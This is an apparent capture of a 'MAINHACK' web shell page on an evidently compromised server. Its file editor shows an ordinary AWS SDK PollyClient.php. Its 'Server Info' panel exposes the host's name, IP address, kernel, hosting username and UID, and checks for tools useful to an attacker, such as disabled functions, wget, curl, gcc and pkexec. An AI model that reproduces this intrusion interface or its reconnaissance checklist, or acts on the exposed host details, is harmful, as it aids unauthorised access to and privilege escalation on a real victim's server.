[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PollyClient.php
<?php namespace Aws\Polly; use Aws\Api\Serializer\JsonBody; use Aws\AwsClient; use Aws\Signature\SignatureV4; use GuzzleHttp\Psr7\Request; use GuzzleHttp\Psr7\Uri; use GuzzleHttp\Psr7; /** * This client is used to interact with the **Amazon Polly** service. * @method \Aws\Result deleteLexicon(array $args = []) * @method \GuzzleHttp\Promise\Promise deleteLexiconAsync(array $args = []) * @method \Aws\Result describeVoices(array $args = []) * @method \GuzzleHttp\Promise\Promise describeVoicesAsync(array $args = []) * @method \Aws\Result getLexicon(array $args = []) * @method \GuzzleHttp\Promise\Promise getLexiconAsync(array $args = []) * @method \Aws\Result getSpeechSynthesisTask(array $args = []) * @method \GuzzleHttp\Promise\Promise getSpeechSynthesisTaskAsync(array $args = []) * @method \Aws\Result listLexicons(array $args = []) * @method \GuzzleHttp\Promise\Promise listLexiconsAsync(array $args = []) * @method \Aws\Result listSpeechSynthesisTasks(array $args = []) * @method \GuzzleHttp\Promise\Promise listSpeechSynthesisTasksAsync(array $args = []) * @method \Aws\Result putLexicon(array $args = []) * @method \GuzzleHttp\Promise\Promise putLexiconAsync(array $args = []) * @method \Aws\Result startSpeechSynthesisTask(array $args = []) * @method \GuzzleHttp\Promise\Promise startSpeechSynthesisTaskAsync(array $args = []) * @method \Aws\Result synthesizeSpeech(array $args = []) * @method \GuzzleHttp\Promise\Promise synthesizeSpeechAsync(array $args = []) */ class PollyClient extends AwsClient { /** @var JsonBody */ private $formatter; /** * Create a pre-signed URL for Polly operation `SynthesizeSpeech` * * @param array $args parameters array for `SynthesizeSpeech` * More information @see Aws\Polly\PollyClient::SynthesizeSpeech * * @return string */ public function createSynthesizeSpeechPreSignedUrl(array $args) { $uri = new Uri($this->getEndpoint()); $uri = $uri->withPath('/v1/speech'); // Formatting parameters follows rest-json protocol $this->formatter = $this->formatter ?: new JsonBody($this->getApi()); $queryArray = json_decode( $this->formatter->build( $this->getApi()->getOperation('SynthesizeSpeech')->getInput(), $args ), true ); // Mocking a 'GET' request in pre-signing the Url $query = Psr7\Query::build($queryArray); $uri = $uri->withQuery($query); $request = new Request('GET', $uri); $request = $request->withBody(Psr7\Utils::streamFor('')); $signer = new SignatureV4('polly', $this->getRegion()); return (string) $signer->presign( $request, $this->getCredentials()->wait(), '+15 minutes' )->getUri(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002